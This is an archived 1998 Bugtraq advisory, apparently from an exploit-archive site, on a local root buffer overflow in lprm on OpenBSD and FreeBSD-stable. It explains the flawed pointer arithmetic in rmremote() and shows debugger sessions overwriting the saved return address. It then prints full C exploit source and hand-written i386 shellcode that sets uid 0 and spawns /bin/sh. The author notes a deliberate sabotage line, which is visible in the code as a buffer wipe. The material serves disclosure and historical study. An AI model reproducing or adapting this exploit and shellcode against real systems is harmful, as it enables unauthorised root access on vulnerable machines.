OpenBSD (and others) lprm overflow

Summary
Description:There is a subtle overflow in the pointer arithmetic in copying a command string to a buffer.
Author:Niall Smart <rotel@indigo.ie>
Compromise: root (local)
Vulnerable Systems:OpenBSD 2.2 and earlier, some versions of FreeBSD, NetBSD
Date:23 April 1998
Notes:This is an excellent description of the problem. Also congratulations go to Niall Smart for finding this bug in the heavily audited OpenBSD codebase.
Details


Date: Thu, 23 Apr 1998 03:33:39 +0000
From: Niall Smart <rotel@indigo.ie>
To: BUGTRAQ@NETSPACE.ORG
Subject: Vulnerability in OpenBSD, FreeBSD-stable lprm.

Synopsis
--------

lprm in OpenBSD and FreeBSD-stable gives a root shell under
the following conditions:

* You have a remote printer configured in /etc/printcap.  (i.e. a
  printer with a non-null "rm" capability.)

* The length of the attacker's username plus the length of the "rp"
  capability for the remote printer is >= 7.  If there is no explicit
  "rp" capability specified then the system will use the default, which
  has length 2, meaning that the attacker's username must be >= 5
  characters long in this case.

* The hostname of the remote printer (i.e. the "rm" capability)
  resolves, and neither the canonical name returned for the host
  nor any of its aliases match the local hostname.  (i.e. it will
  not work if the "rm" capability points back at the local machine,
  which would be indicative of misconfiguration anyway)


Notes
-----

* It is not strictly necessary for the lpd daemon to be
  running on the remote or local host for the exploit to work.

* This vulnerability is not present in FreeBSD-current or NetBSD-current.

* Patches to fix this vulnerability have been applied to the OpenBSD
  and FreeBSD-stable source tree's in the last few hours.  Obtain
  the latest version of the file:

         /src/usr.sbin/lpr/common_source/rmjob.c

  and recompile the lpr subsystem to protect yourself against this
  attack.  See www.openbsd.org/security.html and www.freebsd.org
  for details.


Details
-------

lprm allows a user to remove all his jobs on a print queue by
passing his username as an argument to lprm, e.g. "lprm -P PRINTER
bloggs".  Only root is allowed to specify usernames other than his
own.  Passing your own username more than once (as in "lprm -P
PRINTER bloggs bloggs") is allowed, but redundant.  The user(s)
specified are stored in a global array called `user'.

If the printer specified is a remote printer then lprm connects to
the remote lpd daemon and sends it a message of the form
"\5 XX USER1 USER2 ...\n" where XX is the "rp" capability of the
remote printer, or the string "lp" if this capability has not been
specified and USERN are the users from the command line.

This happens in rmremote() of rmjob.c:

   317  void
   318  rmremote()
   319  {
   320          register char *cp;
   321          register int i, rem;
   322          char buf[BUFSIZ];
   323          void (*savealrm)(int);
   324
   325          if (!remote)
   326                  return; /* not sending to a remote machine */
   327
   328          /*
   329           * Flush stdout so the user can see what has been deleted
   330           * while we wait (possibly) for the connection.
   331           */
   332          fflush(stdout);
   333
   334          (void)snprintf(buf, sizeof(buf), "\5%s %s", RP, all ? "-all" : person);
   335          cp = buf;
   336          for (i = 0; i < users && cp-buf+1+strlen(user[i]) < sizeof(buf); i++) {
   337                  cp += strlen(cp);
   338                  *cp++ = ' ';
   339                  strcpy(cp, user[i]);
   340          }

The problem lies on lines 334-335.  Note that a string is snprintf()'ed
into buf and then cp is initialised to point at the beginning of
the buffer.  Therefore on the first iteration around the loop on
line 336 cp - buf = 0.  This means that we can pass a string of
length up to length sizeof(buf) - 1 - 1 = 1022 in user[0] (which
is the first user on the command line).

In the loop, cp is advanced by the length of the string it points
to plus one character.  On the first iteration this is P + 3
characters where P = strlen(RP) + strlen(person)  (RP is the "rp"
capability for the printer (default: "lp"), person is your username)
Then the contents of user[i] is appended to cp.

If we pass a string of length 1022 characters in user[0] then the
buffer will be overflowed by (1022 + P + 3 + 1) - 1024 = P + 2
bytes (including the terminating '\0') on the first iteratation of
the loop.  If RP = "lp" (the default) this means that the user
bloggs can overflow by 10 bytes, the last of which will be a null
byte.

So, is this useful for bloggs?  Looking at the source it would
appear not, there are three doubleword sized variables (cp, i and
rem = 12 bytes) declared before buf, meaning he can't get to the
saved EIP with his 10 byte overflow, and there doesn't seem to be
any way to get what we want from manipulating these variables.
Note that if the programmer had declared the function pointer
savealrm before the buffer then we could "restore" the SIGALRM
handler to an arbitrary location.

But -- those three variables are declared with the register
attribute!!!  For the uninitiated, this is a hint to the compiler
to place those variables in a register if possible for speed of
access.  Assuming the compiler can do this, it also has the side
effect of not requiring the compiler to allocate memory for the
variable if its address is not taken.  A quick look through the
rest of the source for rmremote() shows that their address is not
taken -- things are looking up!  Lets compile our own static
version of lprm with debugging on using the same optimisation flags
as the system Makefile and look at the assembly produced to see
where the compiler puts cp, i and rem.

  $ make lprm CFLAGS="-g -static"
  $ gdb lprm
  (gdb) x/5i rmremote
  0x2464 <rmremote>:      pushl  %ebp
  0x2465 <rmremote+1>:    movl   %esp,%ebp
  0x2467 <rmremote+3>:    subl   $0x408,%esp
  0x246d <rmremote+9>:    pushl  %edi
  0x246e <rmremote+10>:   pushl  %esi
  (gdb) p 0x408
  $3 = 1032

So, it allocates 1032 bytes on the stack, presumably this is composed
of one of cp, i and rem, then the 1024 byte buffer and then savealrm.
This would means that bloggs can overflow the saved EBP, and even
write up to two bytes to the saved EIP. (the last of which would be
NULL) Unfortunately this is useless on the Intel i386 because the
MSB(yte) of the EIP is located highest on the stack meaning we can
only influence the two LSBs of the the EIP and since our buffer
is located up at the top of the address space we need the MSB of
the saved EIP to look like 0xFF or 0xEF and it is probably 0x00
since rmremote would have been called from the text segment which
is located at the bottom of the address space.  On a big endian
machine we *might* have been able to do something with this, but it
would not have been easy.

However, God is on our side again, looking down further through
the asm we notice that gcc has actually allocated the buffer at
$esp - 1024.  Look at the pushing of the arguments for the call
to snprintf:

  (gdb) x/11i
  0x1fbc <rmremote+72>:   movl   $0x1550,%eax
  0x1fc1 <rmremote+77>:   pushl  %eax
  0x1fc2 <rmremote+78>:   movl   0x3ea88,%eax
  0x1fc7 <rmremote+83>:   pushl  %eax
  0x1fc8 <rmremote+84>:   pushl  $0x1f3a
  0x1fcd <rmremote+89>:   pushl  $0x400
  0x1fd2 <rmremote+94>:   leal   0xfffffc00(%ebp),%eax
  0x1fd8 <rmremote+100>:  pushl  %eax
  0x1fd9 <rmremote+101>:  call   0x21630 <snprintf>
  (gdb) p -(~0xfffffc00 + 1)
  $2 = -1024

This means that we only need a nine byte overflow!  (9 = 4 for
saved EBP + 4 for saved EIP + 1 null terminating '\0' which must
not be in saved EIP)  I'm not sure why gcc has allocated the
variables in this way, but who's complaining? :)

Lets just check that we have done our sums right before moving on
to write the exploit: where do we put the bytes into user[0] so
that they overwrite the EIP?  Well, writing 1028 bytes into
buf leaves us just before the EIP, to write this many bytes we
put 1028 - (P + 3) bytes in user[0], the (P + 3) comes from
the data already placed in the buffer by the snprintf.

For the user bloggs on a system where RP = "lp", P = 8.  Lets check
this out on our own system: (copy lprm to get it to core dump)

  $ id -un
  bloggs
  $ cp /usr/bin/lprm /tmp
  $ /tmp/lprm -P remote `perl -e '
  > print "A" x (1028 - 8 - 3);
  > printf("%c%c%c%c", 0xEF, 0xBE, 0xAD, 0xDE);
  > '`
  connection to remote is down
  zsh: segmentation fault (core dumped)  /tmp/lprm -P remote
  $ gdb --quiet lprm /tmp/lprm.core
  Core was generated by `lprm'.
  Program terminated with signal 11, Segmentation fault.
  #0  0xdeadbeef in ?? ()
  (gdb)

Bang on.


Exploit
-------

[ Its all pretty much plain sailing from here on, the main reason
for this section is to demonstrate the leeto method of getting the
shellcode that I haven't seen used before. :) ]

Just before the "ret" at the end of rmremote() we want the stack
to look like this:

                +-----------+
        ESP  -> |    egg    |   --------\
                +-----------+           |
                |   space   |           |
                |   space   |           |
                |   space   |           |
                +-----------+           |
                |           |           |
                |           |           |
                \ shellcode \           |
                |           |           |
                |           |           |
                +-----------+           |
                |    nop    |           |
                |    nop    |   <<------/
                |           |

The ret instruction pops the egg off into the EIP which will
hopefully then point somewhere in the nops causing the CPU to chase
up the stack to the shellcode.  The shellcode itself is a fairly
standard affair, it performs a seteuid(0), setuid(0),
exit(execve("/bin/sh", { "sh", 0 }, 0)) using the standard tricks
of xoring and subtraction of negative values to get/avoid null
bytes and a call/ret to obtain the value of the EIP so it can locate
the address of the "shAA/bin/shBCCCCDDDD" string.  The neeto bit
is that the shellcode is left in source form, the assembler generates
a label for the beginning and end of the generated code so we can
just memcpy the machine language representation into the buffer.
This makes it easier to change and test the shellcode as you go,
makes the exploit more easily portable and avoids the tedious task
of hexdumping the instructions.

As discussed before, the egg is placed at user[1028 - P - 3], we
want the shellcode to be as near the top as possible, but we need
to leave 12 bytes for the 4 pushl instructions in the shell
code as the ESP will be equal to &egg + 4 when we enter the
shellcode.  (only 12 bytes because the first push goes onto the egg)
This means we memcpy the shellcode into &user[1028 - P - 3 - 12 - SCSZ]
where SCSZ is the size of the shell code.

The code is appended to this file. To compile:

   cc lprm-bsd.c shellcode.S -o lprm-bsd


Thanks
------

Special thanks to sdr and figz for letting me debug a problem with
the exploit on OpenBSD.  After 8 grueling hours I eventually traced
the problem to the fact that char c = 0x90; isdigit(c) equals 0 on
FreeBSD, and >0 on OpenBSD.  Life sucks.  Use isascii().

<RANT>
This exploit serves to point out that code auditing is no "silver
bullet" when it comes to system security.  The original patch made
to rmjob.c was audited by three people from the OpenBSD and FreeBSD
projects and yet the problem still remained.  This is not a reflection
on the abilities of the code auditors but rather on the difficulty
of fully understanding and safely writing code which manages memory
allocation at the byte level.
</RANT>


Niall Smart, njs3@doc.ic.ac.uk


/*
   lprm-bsd.c - Exploit for lprm vulnerability in
                OpenBSD and FreeBSD-stable

   k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.

   The original version of this file contains a blatant error
   which anyone who is capable of understanding C will be able
   to locate and remove.  Please do not distribute this file
   without this idiot-avoidance measure.

   Typical egg on FreeBSD: 0xEFBFCFDF
   Typical egg on OpenBSD: 0xEFBFD648

   The exploit might take a while to drop you to a root shell
   depending on the timeout ("tm" capability) specified in the
   printcap file.
*/

#include <sys/types.h>
#include <pwd.h>
#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

extern void     BEGIN_SC();
extern void     END_SC();

int
main(int argc, char** argv)
{
        char            buf[4096];
        struct passwd*  pw;
        char*           cgstr;
        char*           cgbuf;
        char*           printer;
        char*           printcaps[] = { "/etc/printcap", 0 };
        int             sc_size;  /* size of shell code */
        int             P;        /* strlen(RP) + strlen(person) */
        unsigned        egg;      /* value to overwrite saved EIP with */

        if (argc != 3) {
                fprintf(stderr, "usage: %s <printername> <egg>\n", argv[0]);
                exit(0);
        }

        if ( (pw = getpwuid(getuid())) == NULL)
                errx(1, "no password entry for your user-id");

        printer = argv[1];
        egg = (unsigned) strtoul(argv[2], NULL, 0);

        if (cgetent(&cgstr, printcaps, printer) < 0)
                errx(1, "can't find printer: %s", printer);

        if (cgetstr(cgstr, "rm", &cgbuf) < 0 || cgbuf[0] == '\0')
                errx(1, "printer is not remote: %s", printer);

        if (cgetstr(cgstr, "rp", &cgbuf) < 0)
                cgbuf = "lp";

        sc_size = (char*) END_SC - (char*) BEGIN_SC;

        /* We can append 1022 bytes to whatever is in the buffer.
           We need to get up to 1032 bytes to reach the saved EIP,
           so there must be at least 10 bytes placed in the buffer
           by the snprintf on line 337 of rmjob.c and the subsequent
           *cp++ = '\0';  3 = ' ' + ' ' + '\5' */

        if ( (P = (strlen(pw->pw_name) + strlen(cgbuf))) < 7)
                errx(1, "your username is too short");

        fprintf(stderr, "P = %d\n", P);
        fprintf(stderr, "shellcode = %d bytes @ %d\n", sc_size, 1028 - P - 3 - 12 - sc_size);
        fprintf(stderr, "egg = 0x%X@%d\n", egg, 1028 - P - 3);

        /* fill with NOP */
        memset(buf, 0x90, sizeof(buf));
        /* put letter in first byte, this fucker took me eight hours to debug. */
        buf[0] = 'A';
        /* copy in shellcode, we leave 12 bytes for the four pushes before the int 0x80 */
        memcpy(buf + 1028 - P - 3 - 12 - sc_size, (void*) BEGIN_SC, sc_size);
        /* finally, set egg and null terminate */
        *((int*)&buf[1028 - P - 3]) = egg;
        buf[1022] = '\0';

        memset(buf, 0, sizeof(buf));

        execl("/usr/bin/lprm", "lprm", "-P", printer, buf, 0);

        fprintf(stderr, "doh.\n");

        return 0;
}


/*
   shellcode.S - generic i386 shell code

   k0d3d by Niall Smart, njs3@doc.ic.ac.uk, 1998.
   Please send me platform-specific mods.

   Example use:

        #include <stdio.h>
        #include <string.h>

        extern void     BEGIN_SC();
        extern void     END_SC();

        int
        main()
        {
                char    buf[1024];

                memcpy(buf, (void*) BEGIN_SC, (long) END_SC - (long) BEGIN_SC);

                ((void (*)(void)) buf)();

                return 0;
        }

    gcc -Wall main.c shellcode.S -o main && ./main
*/


#if defined(__FreeBSD__) || defined(__OpenBSD__)
#define EXECVE          3B
#define EXIT            01
#define SETUID          17
#define SETEUID         B7
#define KERNCALL        int $0x80
#else
#error This OS not currently supported.
#endif

#define _EXECVE_A       CONCAT($0x555555, EXECVE)
#define _EXECVE_B       CONCAT($0xAAAAAA, EXECVE)
#define _EXIT_A         CONCAT($0x555555, EXIT)
#define _EXIT_B         CONCAT($0xAAAAAA, EXIT)
#define _SETUID_A       CONCAT($0x555555, SETUID)
#define _SETUID_B       CONCAT($0xAAAAAA, SETUID)
#define _SETEUID_A      CONCAT($0x555555, SETEUID)
#define _SETEUID_B      CONCAT($0xAAAAAA, SETEUID)

#define CONCAT(x, y)    CONCAT2(x, y)
#define CONCAT2(x, y)   x ## y

.global         _BEGIN_SC
.global         _END_SC

                .data
_BEGIN_SC:      jmp 0x4                 // jump past next two isns
                movl (%esp), %eax       // copy saved EIP to eax
                ret                     // return to caller
                xorl %ebx, %ebx         // zero ebx
                pushl %ebx              // sete?uid(0)
                pushl %ebx              // dummy, kernel expects extra frame pointer
                movl _SETEUID_A, %eax   //
                andl _SETEUID_B, %eax   // load syscall number
                KERNCALL                // make the call
                movl _SETUID_A, %eax    //
                andl _SETUID_B, %eax    // load syscall number
                KERNCALL                // make the call
                subl $-8, %esp          // push stack back up
                call -40                // call, pushing addr of next isn onto stack
                addl $53, %eax          // make eax point to the string
                movb %bl, 2(%eax)       // append '\0' to "sh"
                movb %bl, 11(%eax)      // append '\0' to "/bin/sh"
                movl %eax, 12(%eax)     // argv[0] = "sh"
                movl %ebx, 16(%eax)     // argv[1] = 0
                pushl %ebx              // push envv
                movl %eax, %ebx         //
                subl $-12, %ebx         // -(-12) = 12, avoid null bytes
                pushl %ebx              // push argv
                subl $-4, %eax          // -(-4) = 4, avoid null bytes
                pushl %eax              // push path
                pushl %eax              // dummy, kernel expects extra frame pointer
                movl _EXECVE_A, %eax    //
                andl _EXECVE_B, %eax    // load syscall number
                KERNCALL                // make the call
                pushl %eax              // push return code from execve
                pushl %eax              //
                movl _EXIT_A, %eax      // we shouldn't have gotten here, try and
                andl _EXIT_B, %eax      // exit with return code from execve
                KERNCALL                // JERONIMO!
                .ascii "shAA/bin/shBCCCCDDDD"
                //      01234567890123456789
_END_SC:

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault